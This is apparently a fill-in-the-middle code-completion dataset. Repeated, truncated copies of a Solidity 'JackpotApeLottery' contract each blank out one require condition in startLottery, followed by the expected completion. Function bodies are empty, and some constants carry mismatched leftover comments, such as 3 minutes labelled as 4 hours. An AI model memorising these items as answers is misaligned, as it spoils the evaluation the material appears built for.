withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
_lotteries[currentLotteryId].status==Status.Claimable,"Lottery not in claimable"
99,547
_lotteries[currentLotteryId].status==Status.Claimable
"Not time to start lottery"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { require(<FILL_ME>) require( ((_endTime - block.timestamp) > MIN_LENGTH_LOTTERY) && ((_endTime - block.timestamp) < MAX_LENGTH_LOTTERY), "Lottery length outside of range" ); require( (_priceTicket >= minPriceTicket) && (_priceTicket <= maxPriceTicket), "Outside of limits" ); require(_discountDivisor >= MIN_DISCOUNT_DIVISOR, "Discount divisor too low"); // require(_treasuryFee <= MAX_TREASURY_FEE, "Treasury fee too high"); require( (_rewardsBreakdown[0] + _rewardsBreakdown[1] + _rewardsBreakdown[2] + _rewardsBreakdown[3] + _rewardsBreakdown[4] + _rewardsBreakdown[5]) == 10000, "Rewards must equal 10000" ); currentLotteryId++; _lotteries[currentLotteryId] = Lottery({ status: Status.Open, startTime: block.timestamp, endTime: _endTime, priceTicket: _priceTicket, discountDivisor: _discountDivisor, rewardsBreakdown: _rewardsBreakdown, ticketRewardPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)], countWinnersPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)], firstTicketId: currentTicketId, firstTicketIdNextLottery: currentTicketId, amountTotalReward: _rewardAmount, finalNumbers: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)] }); emit LotteryOpen( currentLotteryId, block.timestamp, _endTime, _priceTicket, currentTicketId, _rewardAmount ); } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
(currentLotteryId==0)||(_lotteries[currentLotteryId].status==Status.Claimable),"Not time to start lottery"
99,547
(currentLotteryId==0)||(_lotteries[currentLotteryId].status==Status.Claimable)
"Lottery length outside of range"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { require( (currentLotteryId == 0) || (_lotteries[currentLotteryId].status == Status.Claimable), "Not time to start lottery" ); require(<FILL_ME>) require( (_priceTicket >= minPriceTicket) && (_priceTicket <= maxPriceTicket), "Outside of limits" ); require(_discountDivisor >= MIN_DISCOUNT_DIVISOR, "Discount divisor too low"); // require(_treasuryFee <= MAX_TREASURY_FEE, "Treasury fee too high"); require( (_rewardsBreakdown[0] + _rewardsBreakdown[1] + _rewardsBreakdown[2] + _rewardsBreakdown[3] + _rewardsBreakdown[4] + _rewardsBreakdown[5]) == 10000, "Rewards must equal 10000" ); currentLotteryId++; _lotteries[currentLotteryId] = Lottery({ status: Status.Open, startTime: block.timestamp, endTime: _endTime, priceTicket: _priceTicket, discountDivisor: _discountDivisor, rewardsBreakdown: _rewardsBreakdown, ticketRewardPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)], countWinnersPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)], firstTicketId: currentTicketId, firstTicketIdNextLottery: currentTicketId, amountTotalReward: _rewardAmount, finalNumbers: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)] }); emit LotteryOpen( currentLotteryId, block.timestamp, _endTime, _priceTicket, currentTicketId, _rewardAmount ); } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
((_endTime-block.timestamp)>MIN_LENGTH_LOTTERY)&&((_endTime-block.timestamp)<MAX_LENGTH_LOTTERY),"Lottery length outside of range"
99,547
((_endTime-block.timestamp)>MIN_LENGTH_LOTTERY)&&((_endTime-block.timestamp)<MAX_LENGTH_LOTTERY)
"Outside of limits"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { require( (currentLotteryId == 0) || (_lotteries[currentLotteryId].status == Status.Claimable), "Not time to start lottery" ); require( ((_endTime - block.timestamp) > MIN_LENGTH_LOTTERY) && ((_endTime - block.timestamp) < MAX_LENGTH_LOTTERY), "Lottery length outside of range" ); require(<FILL_ME>) require(_discountDivisor >= MIN_DISCOUNT_DIVISOR, "Discount divisor too low"); // require(_treasuryFee <= MAX_TREASURY_FEE, "Treasury fee too high"); require( (_rewardsBreakdown[0] + _rewardsBreakdown[1] + _rewardsBreakdown[2] + _rewardsBreakdown[3] + _rewardsBreakdown[4] + _rewardsBreakdown[5]) == 10000, "Rewards must equal 10000" ); currentLotteryId++; _lotteries[currentLotteryId] = Lottery({ status: Status.Open, startTime: block.timestamp, endTime: _endTime, priceTicket: _priceTicket, discountDivisor: _discountDivisor, rewardsBreakdown: _rewardsBreakdown, ticketRewardPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)], countWinnersPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)], firstTicketId: currentTicketId, firstTicketIdNextLottery: currentTicketId, amountTotalReward: _rewardAmount, finalNumbers: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)] }); emit LotteryOpen( currentLotteryId, block.timestamp, _endTime, _priceTicket, currentTicketId, _rewardAmount ); } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner 